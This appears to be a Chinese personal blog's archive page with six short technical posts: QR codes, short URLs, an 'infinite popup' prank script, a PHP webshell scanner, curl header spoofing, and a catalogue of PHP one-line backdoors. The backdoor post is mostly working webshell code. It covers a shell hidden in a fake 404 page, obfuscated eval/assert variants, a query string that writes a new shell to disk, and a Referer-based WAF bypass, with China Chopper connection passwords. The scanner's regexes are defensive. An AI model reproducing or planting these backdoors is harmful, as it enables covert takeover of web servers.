首页
闲言碎语
个人导航
文章归档
友情链接
留言簿
关于
更多
网络电视
云盘
统计
推荐
付费资源
朋友圈集赞
二维码生成
音乐下载
Search
1
全网首发-小米AX6000路由器解锁ssh并固化ssh+2.5G有线mesh组网+公网访问路由后台+红米AX6/小米AX6/AX3600/AX6000/AX9000全系列适用
6,798 阅读
2
青龙面板必装依赖及青龙各种问题解决
3,928 阅读
3
NAS一键批量清除重复文件
3,540 阅读
4
群辉DSM7.0.1安装bootstrap后解决wget: error while loading shared libraries: libgnuintl.so.8: cannot open shared object file: No such file or directory
1,602 阅读
5
《爱情公寓4》全集高清迅雷下载
899 阅读
闲言碎语
学习
福利
技术百科
WordPress
Typecho
软件资源
iPhone
Android
PC软件
CODE
C
VB
PHP
NAS
青龙
登录
Search
标签搜索
wordpress
News
iphone
vb
iOS
technology
渗透
QQ
php
talk
JavaScript
hack
Typecho
NAS
福利
c++
diy
c
免杀
评测
Jonty
累计撰写
275
篇文章
累计收到
979
条评论
今日撰写
0
篇文章
首页
栏目
闲言碎语
学习
福利
技术百科
WordPress
Typecho
软件资源
iPhone
Android
PC软件
CODE
C
VB
PHP
NAS
青龙
页面
闲言碎语
个人导航
文章归档
友情链接
留言簿
关于
网络电视
云盘
统计
推荐
付费资源
朋友圈集赞
二维码生成
音乐下载
用户登录
登录
搜索到
6
篇与
的结果
2014-01-17
无限弹窗
首先呢,是必不可少的css样式:.tc_div{background: #fff;border: 1px solid #cdcdcd;width: 200px;border-radius: 5px;box-shadow: 0px 2px 10px #CECACA;position: absolute;} .tc_div h3{background: #E4E4E4;font:bold 15px Arial,Microsoft Yahei;padding: 4px 8px;margin: 0;border-bottom: 1px solid #cdcdcd;border-radius: 5px 5px 0 0;} .tc_div h3 b{float: right;cursor: pointer;} .tc_div p{padding: 6px 8px;}接着是超文本标记语言HTML代码:我是无良弹窗君 ( *・ω・)✄ <a id="tc_click" style="text-decoration: underline;" href="###"> 敢戳我?分分钟弹死你!</a>最后,最重要的javascript代码来了:<script>// <![CDATA[ /* div弹出层 */ $(document).ready(function() { function doing(Min, Max, Time, Pl, Pt) { /* Min 最少弹出数 Max 最大弹出数 Time 延迟时间 Pl 距离左侧最大百分比 Pt 距离顶部最大百分比 */ if (isNaN(Min) || isNaN(Max) || isNaN(Time) || isNaN(Pl) || isNaN(Pt)) return false; /* 判断输入的是否是数字 */ run = setInterval(function() { if ((Min > Max - 1) && (Max != 0)) clearInterval(run); /* 如果超过最大弹出数则停止 Max为0则无限弹出 */ pl = parseInt(Math.random() * Pl + 1); /* 随机 1~Pl */ pt = parseInt(Math.random() * Pt + 1); /* 随机 1~Pt */ tc_div = ' <div id="tc_div_' + Min + '" class="tc_div"> <h3>小弹窗 No.' + Min + ' <b class="close">×</b></h3> 我是第' + Min + '个小弹窗 </div> '; $(".tc_main").append(tc_div); $("#tc_div_" + Min).css({left: pl + "%",top: pt + "%", "z-index": "100"}); Min++; /* 自增 */ }, Time); } /* 浏览器弹窗 */ function RunAlert() { var i, o, x, z = 10; /* z 弹出次数 */ if (confirm("(●′ω`●) 分分钟弹死你,你信不信?")) { /* 信则弹10*10*10次 不信再说 */ for (i = 1; i <= z; i++) { alert("(= ̄ω ̄=) 霸气第" + i + "弹"); for (o = 1; o <= z; o++) { alert("(= ̄ω ̄=) 霸气第" + i + "弹 \n(。・`ω´・) 骚气第" + o + "弹"); for (x = 1; x <= z; x++) { alert("(= ̄ω ̄=) 霸气第" + i + "弹 \n(。・`ω´・) 骚气第" + o + "弹 \n( ̄へ ̄) 合体第" + x + "弹"); } } } } else { alert("╮( ̄⊿ ̄\")╭ 切,量你也没这个胆子!"); if (confirm("(ง •̀ω•́)ง 试试新玩法?")) { /* 询问是否换个花样 */ $(".tc_main").empty(); doing(1, 0, 100, 85, 88); /* 每100毫秒弹一次 弹到屎 */ } else { alert("(′◔◞౪◟◔) 原来是个胆小鬼!一边玩去!"); return false; } } } $("#tc_click").click(function() { /* 敢点就敢弹 */ RunAlert(); }); $(".tc_main").click(function(e) { var id = e.target.offsetParent.id; $("#" + id).css("z-index", "+=1"); /* 堆叠层数+1 */ if (e.target.className == "close") { $("#" + id).remove(); /* 如果手速快 每个弹窗都可以关掉 */ } }) }) // ]]></script>
2014年01月17日
102 阅读
0 评论
0 点赞
2014-01-01
分享两个短链算法
1、Hash,与运算,映射,位移MD5来Hash;32位分成四份进行与运算,每份保留30位,这30位分成6段, 每5个一组,算出其整数值,然后映射到准备的62个字符中, 依次进行获得一个6位的短链接地址。<?php function shorturl($longurl) { //hash私钥(被改进部分) //$shorturlkey = '2rcwzfsefw'; //生成随机字串符(ASCII)(改进部分) //$shorturlkey = ''; //for ($i=0; $i <= 15; $i++) { // $shorturlkey .= chr(mt_rand(33,63)); // $shorturlkey .= chr(mt_rand(64,126)); //} //映射字符(被改进部分) $base62 = array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'); //对映射字符乱序(改进部分) //shuffle($base62); // 利用md5算法方式生成hash值 //$urlhex = hash('md5', $shorturlkey.$longurl); $urlhex = md5($shorturlkey.$longurl); //计算hash后的长度 $urlhexlen = strlen($urlhex); //长度除以8 $subHexLen = $urlhexlen / 8 ; $output = array(); //处理过程 for ($i = 0; $i < $subHexLen; $i++) { // 将这32位分成四份,每一份8个字符,将其视作16进制串与0x3fffffff(30位1)与操作 $subHex = substr($urlhex, $i*8, 8); $idx = 0x3FFFFFFF & (1 * ('0x' . $subHex)); $out = ''; // 这30位分成6段, 每5个一组,算出其整数值,然后映射到62个字符 for ($j = 0; $j < 6; $j++) { $val = 0x0000003D & $idx; $out .= $base62[$val]; $idx = $idx >> 5; } $output[$i] = $out; } //输出生成的四个当中的随机一个(改进部分) //return $output[mt_rand(0,3)]; //(被改进部分) return $output; } ?>不足经过实际测试(每次生成5K),原始代码重复率很大,一开始可能只有0.000x%,到后来可能上升到0x%。。。改进对映射的字符进行随机排位,最后输出的时候只随机输出4个当中的一个,碰撞几率同下2、纯随机 <?php function shorturl_rand(){ //循环随机,如果要修改位数,直接修改循环条件中的$i小于(n-1)即可 for ($i=0,$b=''; $i <5 ; $i++) { //随机当前位为数字还是小写字母以及大写字母 $a = mt_rand(0,2); //选择器 switch ($a) { case 0: //随机数字 $b .= chr(mt_rand(48,57)); break; case 1: //随机小写字母 $b .= chr(mt_rand(97,122)); break; case 2: //随机大写字母 $b .= chr(mt_rand(65,90)); break; break; default: break; } } return $b ; } ?>纯随机,碰撞几率最低,性能消耗可能是同类中最低。
2014年01月01日
97 阅读
1 评论
0 点赞
2013-11-20
使用 Google API 生成二维码
Google API 可以非常方便的调用,下边的链接是一个示例:[btnheart href="http://chart.apis.google.com/chart?cht=qr&chs=150x150&chld=L|2&chl=https://nobb.cc" target="_blank"]我是示例[/btnheart]参数解释:1、http://chart.apis.google.com/chart? 调用Google API2、cht=qr 选择生成类型为 qr 码。3、chs=150×150 设置二维码图片大小。4、chld=L|4 L表示默认纠错水平;4表示二维码图片的留白大小,留白的大小也是计算在二维码图片大小内的,可选值为 1~4 的整数。5、chl=https://nobb.cc为二维码内容。一般 WordPress 文章页可以使用下边的代码调用二维码,具体自己调节参数。<img src="http://chart.apis.google.com/chart?cht=qr&chs=150x150&chld=L|2&chl=<?php the_permalink(); ?>" class="qrcode pic" width="150" height="150" alt="qrcode" />由于 Google 服务器对国内不太稳定,所以我们可以把二维码图片缓存到本地来解决这一缺陷。首先将下边的代码扔到当前主题的 functions.php 的最后一个 ?> 前。/* *Bing - function - 二维码配置 *Form:www.bgbk.org */ //二维码缓存 function Bing_qr($url,$path,$qrpic){ set_time_limit (10); $destination_folder = $path?$path.'/':''; $localname = $destination_folder .$qrpic; $file = fopen ($url, "rb"); if($file){ $newf = fopen ($localname, "wb"); if($newf) while(!feof($file)){ fwrite( $newf, fread($file, 1024 * 2 ), 1024 * 2 ); } } if($file){ fclose($file); } if($newf){ fclose($newf); } } //生成二维码地址 function Bing_echo_qr($imgsize = 150,$echo = true){ $cache = false; $cache = true; if(is_single() || is_page()) $imgname = get_the_id(); elseif (is_home() || is_front_page()) $imgname = 'home'; elseif(is_category()) $imgname = 'cat-'.get_query_var('cat'); elseif(is_tag()) $imgname = 'tag-'.get_query_var('tag_id'); if(!is_home()) $permalink = get_permalink(); else $permalink = get_option('home'); if($cache){ $localqr = ABSPATH .'qrcode/'.$imgname.'.jpg'; if(!file_exists($localqr)){ Bing_qr("http://chart.googleapis.com/chart?cht=qr&chs=".$imgsize."x".$imgsize."&choe=UTF-8&chld=L|0&chl=".$permalink ,"qrcode", $imgname.".jpg"); } $main = get_home_url('').'/qrcode/'.$imgname.'.jpg'; } else $main = "http://chart.googleapis.com/chart?cht=qr&chs=".$imgsize."x".$imgsize."&choe=UTF-8&chld=L|0&chl=".$permalink; if($echo) echo $main; else return $main; } //输出二维码 function Bing_echo_qrcode($imgsize = 150){ echo '<img src="'.Bing_echo_qr($imgsize,false).'" class="qrcode" width="'.$imgsize.'" height="'.$imgsize.'" alt="qrcode" />'; }然后在需要调用二维码的地方使用下边的函数就行了:<?php if(function_exists('Bing_echo_qrcode')&&function_exists('Bing_echo_qr')&&function_exists('Bing_qr')) Bing_echo_qrcode(150);?>其中的 150 为二维码大小,可以自己修改。如果想关闭二维码缓存只需要将第一段代码的 30 行 $cache = true; 注释掉即可。
2013年11月20日
73 阅读
0 评论
0 点赞
2013-11-09
完美扫描PHP特殊一句话后门-【扫描脚本】
代码如下 保存为*.php<?php error_reporting(E_ERROR); ini_set('max_execution_time',20000); ini_set('memory_limit','512M'); header("content-Type: text/html; charset=gb2312"); $matches = array( '/function\_exists\s*\(\s*[\'|\"](popen|exec|proc\_open|system|passthru)+[\'|\"]\s*\)/i', '/(exec|shell\_exec|system|passthru)+\s*\(\s*\$\_(\w+)\[(.*)\]\s*\)/i', '/((udp|tcp)\:\/\/(.*)\;)+/i', '/preg\_replace\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\)/i', '/preg\_replace\s*\((.*)\(base64\_decode\(\$/i', '/(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*(base64\_decode|str\_rot13|gz(\w+)|file\_(\w+)\_contents|(.*)php\:\/\/input)+/i', '/(eval|assert|include|require|include\_once|require\_once|array\_map|array\_walk)+\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\)/i', '/eval\s*\(\s*\(\s*\$\$(\w+)/i', '/(include|require|include\_once|require\_once)+\s*\(\s*[\'|\"](\w+)\.(jpg|gif|ico|bmp|png|txt|zip|rar|htm|css|js)+[\'|\"]\s*\)/i', '/\$\_(\w+)(.*)(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*\$(\w+)\s*\)/i', '/\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_(GET|POST|REQUEST|FILES)+\[(.*)\]\[(.*)\]\s*\)/i', '/(fopen|fwrite|fputs|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\](.*)\)/i', '/echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\)/i', '/new com\s*\(\s*[\'|\"]shell(.*)[\'|\"]\s*\)/i', '/\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\)/i', '/\$\_\=(.*)\$\_/i', '/\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\(\s*\$(.*)\)/i', '/\$(\w+)\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\s*\)/i', '/\$(\w+)\s*\(\s*\$\{(.*)\}/i', '/\$(\w+)\s*\(\s*chr\(\d+\)/i' ); function antivirus($dir,$exs,$matches) { if(($handle = @opendir($dir)) == NULL) return false; while(false !== ($name = readdir($handle))) { if($name == '.' || $name == '..') continue; $path = $dir.$name; if(is_dir($path)) { //chmod($path,0777);/*主要针对一些0111的目录*/ if(is_readable($path)) antivirus($path.'/',$exs,$matches); } elseif(strpos($name,';') > -1 || strpos($name,'%00') > -1 || strpos($name,'/') > -1) { echo '特征 <input type="text" style="width:218px;" value="解析漏洞"> '.$path.'<div></div>'; flush(); ob_flush(); } else { if(!preg_match($exs,$name)) continue; if(filesize($path) > 10000000) continue; $fp = fopen($path,'r'); $code = fread($fp,filesize($path)); fclose($fp); if(empty($code)) continue; foreach($matches as $matche) { $array = array(); preg_match($matche,$code,$array); if(!$array) continue; if(strpos($array[0],"\x24\x74\x68\x69\x73\x2d\x3e")) continue; $len = strlen($array[0]); if($len > 6 && $len < 200) { echo '特征 <input type="text" style="width:218px;" value="'.htmlspecialchars($array[0]).'"> '.$path.'<div></div>'; flush(); ob_flush(); break; } } unset($code,$array); } } closedir($handle); return true; } function strdir($str) { return str_replace(array('\\','//','//'),array('/','/','/'),chop($str)); } echo '<form method="POST">'; echo '路径: <input type="text" name="dir" value="'.($_POST['dir'] ? strdir($_POST['dir'].'/') : strdir($_SERVER['DOCUMENT_ROOT'].'/')).'" style="width:398px;"><div></div>'; echo '后缀: <input type="text" name="exs" value="'.($_POST['exs'] ? $_POST['exs'] : '.php|.inc|.phtml').'" style="width:398px;"><div></div>'; echo '操作: <input type="submit" style="width:80px;" value="scan"><div></div>'; echo '</form>'; if(file_exists($_POST['dir']) && $_POST['exs']) { $dir = strdir($_POST['dir'].'/'); $exs = '/('.str_replace('.','\\.',$_POST['exs']).')/i'; echo antivirus($dir,$exs,$matches) ? '<div></div>扫描完毕' : '<div></div>扫描中断'; } ?>
2013年11月09日
87 阅读
3 评论
0 点赞
2013-08-02
那些强悍的PHP一句话后门
强悍的PHP一句话后门这类后门让网站、服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的。今天我们细数一些有意思的PHP一句话木马。利用404页面隐藏PHP小马:<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN" > <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> </body></html> <?php @preg_replace( "/[pageerror]/e" , $_POST [ 'error' ], "saft" ); header( 'HTTP/1.1 404 Not Found' ); ?>404页面是网站常用的文件,一般建议好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。无特征隐藏PHP一句话:<?php session_start(); $_POST [ 'code' ] && $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]); $_SESSION [ 'theCode' ]&&preg_replace( '\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[\'theCode\']))' , 'a' ); ?>将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。超级隐蔽的PHP后门:<?php $_GET[a]($_GET[b]);?>仅用GET函数就构成了木马;利用方法:?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。层级请求,编码运行PHP后门:此方法用两个文件实现,文件1<?php //1.php header('Content-type:text/html;charset=utf-8'); parse_str($_SERVER['HTTP_REFERER'], $a); if(reset($a) == '10' && count($a) == 9) { eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6))))); }文件2<?php //2.php header('Content-type:text/html;charset=utf-8'); //要执行的代码 $code = <<<CODE phpinfo(); CODE; //进行base64编码 $code = base64_encode($code); //构造referer字符串 $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i="; //后门url $url = 'http://localhost/test1/1.php'; $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_REFERER => $referer ); curl_setopt_array($ch, $options); echo curl_exec($ch);通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。PHP后门生成工具weevelyweevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web程序的漏洞利用,隐藏后门或者使用类似telnet的方式来代替web 页面式的管理,weevely生成的服务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和IDS,上传服务器端代码后通常可以通过weevely直接运行。weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。三个变形的一句话PHP木马第一个<?php ($_=@$_GET[2]).@$_($_POST[1])?>在菜刀里写http://site/1.php?2=assert密码是1第二个<?php $_=""; $_[+""]=''; $_="$_".""; $_=($_[+""]|"").($_[+""]|"").($_[+""]^""); ?> <?php ${'_'.$_}['_'](${'_'.$_}['__']);?>在菜刀里写http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass。如果你用菜刀的附加数据的话更隐蔽,或者用其它注射工具也可以,因为是post提交的。第三个( $b4dboy = $_POST [ 'b4dboy' ]) && @preg_replace( '/ad/e' , '@' . str_rot13 ( 'riny' ). '($b4dboy)' , 'add' );str_rot13(‘riny’)即编码后的eval,完全避开了关键字,又不失效果,让人吐血!最后列几个高级的PHP一句话木马后门:1、 $hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; $hh("/[discuz]/e",$_POST['h'],"Access"); //菜刀一句话 2、 $filename=$_GET['xbid']; include ($filename); //危险的include函数,直接编译任何文件为php格式运行 3、 $reg="c"."o"."p"."y"; $reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]); //重命名任何文件 4、 $gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; $gzid("/[discuz]/e",$_POST['h'],"Access"); //菜刀一句话 5、include ($uid); //危险的include函数,直接编译任何文件为php格式运行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif //gif插一句话 6、典型一句话 程序后门代码 <?php eval_r($_POST[sb])?> 程序代码 <?php @eval_r($_POST[sb])?> //容错代码 程序代码 <?php assert($_POST[sb]);?> //使用lanker一句话客户端的专家模式执行相关的php语句 程序代码 <?$_POST['sa']($_POST['sb']);?> 程序代码 <?$_POST['sa']($_POST['sb'],$_POST['sc'])?> 程序代码 <?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?> //使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入 程序代码 <O>h=@eval_r($_POST1);</O> 程序代码 <script language="php">@eval_r($_POST[sb])</script> //绕过<?限制的一句话综上,这些PHP一句话后门可谓五脏俱全,一不小心您肯定中招了,而我们今天这篇文章的重中之重在哪呢?重点就在下边的总结!如何应对PHP一句话后门:我们强调几个关键点,看这文章的你相信不是门外汉,我也就不啰嗦了:1,对PHP程序编写要有安全意识 2,服务器日志文件要经常看,经常备份 3,对每个站点进行严格的权限分配 4,对动态文件及目录经常批量安全审查 5,学会如何进行手工杀毒《即行为判断查杀》 6,时刻关注,或渗入活跃的网络安全营地 7,对服务器环境层级化处理,哪怕一个函数也可做规则
2013年08月02日
87 阅读
4 评论
0 点赞
2013-05-08
PHP利用curl伪造IP和来路
伪造的文件:1.php<? php$ch = curl_init (); curl_setopt ( $ch , CURLOPT_URL , "http://localhost/2.php" ); curl_setopt ( $ch , CURLOPT_HTTPHEADER , array ( 'X-FORWARDED-FOR:8.8.8.8' , 'CLIENT-IP:8.8.8.8' )); //构造IP curl_setopt ( $ch , CURLOPT_REFERER , "http://www.xssxss.com/" ); //构造来路 curl_setopt ( $ch , CURLOPT_HEADER , 1 ); $out = curl_exec ( $ch ); curl_close ( $ch ); ?>效果脚本2.php<? php function getClientIp () { if (! empty ( $_SERVER [ "HTTP_CLIENT_IP" ])) $ip = $_SERVER [ "HTTP_CLIENT_IP" ]; else if (! empty ( $_SERVER [ "HTTP_X_FORWARDED_FOR" ])) $ip = $_SERVER [ "HTTP_X_FORWARDED_FOR" ]; else if (! empty ( $_SERVER [ "REMOTE_ADDR" ])) $ip = $_SERVER [ "REMOTE_ADDR" ]; else $ip = "err" ; return $ip ; } echo "IP: " . getClientIp () . "" ; echo "referer: " . $_SERVER [ "HTTP_REFERER" ]; ?>
2013年05月08日
154 阅读
0 评论
0 点赞